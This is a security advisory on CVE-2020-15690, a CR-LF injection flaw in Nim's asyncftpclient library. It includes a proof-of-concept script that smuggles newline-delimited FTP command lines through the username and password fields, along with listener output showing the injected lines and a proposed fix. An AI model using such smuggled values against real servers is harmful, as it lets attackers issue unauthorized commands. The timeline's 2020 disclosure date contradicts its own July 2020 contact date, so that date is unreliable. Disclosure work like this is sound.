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Nim - stdlib asyncftpd - Crlf Injection	2021-02-04 15:25:49 +0100	CVE-2020-15690	nim- lang	<a href="https://nim-lang.org/">https://nim- lang.org/</a>	tintinweb	< 1.2.6	CWE-93

## Vulnerability Note

### Summary

In Nim before 1.2.6, the standard library `asyncftpclient` lacks a check for whether a message contains a newline character.

### Details

#### Description

The nim standard library `asyncftpclient` is vulnerable to multiple `CR-LF` injections. An injection is possible if the attacker controls any argument that is passed to the remote server such as the `username` and `password` to `newAsyncFtpClient`.

The root cause of this issue is that the `send(ftp, msg)` allows `msg` to contain `CR-LF` control characters. An attacker that controls any unchecked input to `send()` can therefore inject arbitrary FTP commands.

```
proc send*(ftp: AsyncFtpClient, m: string): Future[TaintedString] {.async} =
  ## Send a message to the server, and wait for a primary reply.
  ## ``\c\L`` is added for you.
  ##
  ## **Note:** The server may return multiple lines of coded replies.
  await ftp.csock.send(m & "\c\L")
  return await ftp.expectReply()
```

#### Proof of Concept

Note: `nim c -r -d:ssl crlf_inject.nim`

- Injecting FTP commands via `user` and `pass`

```
import asyncdispatch, asyncftpclient
proc main() {.async} =
  var ftp = newAsyncFtpClient("localhost", user = "test\nINJECTED_LINE test test", pass = "test\nINJECTED_LINE test test 2")
  await ftp.connect()
  echo("Connected")
waitFor main()
```

Output:

```
⇒ nim c -r -d:ssl crlf_inject.nim
...
Hint: 104717 LOC; 1.030 sec; 113.309MiB peakmem; Debug build; proj:
/Users/tintin/workspace/nim/test/issues/asyncftpclient/crlf_inject.nim; out:
/Users/tintin/workspace/nim/test/issues/asyncftpclient/crlf_inject [SuccessX]
Hint: /Users/tintin/workspace/nim/test/issues/asyncftpclient/crlf_inject [Exec]
Connected

⇒ nc -l 21
220 fake ftp
USER test
INJECTED_LINE test test
230 Hi test, thanks for injecting a line...
PASS test
INJECTED_LINE test test 2
230 thx for injecting another line...
```

## Proposed Fix

- properly validate user input
- raise an exception if `CR` or `LF` if found in the `msg` passed to `send()`

## Vendor Response

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Vendor response: fixed in 1.2.6

## Timeline

JUL/13/2020 - contact dom96@telegram; provided details, PoC  
FEB/04/2020 - public disclosure

## References

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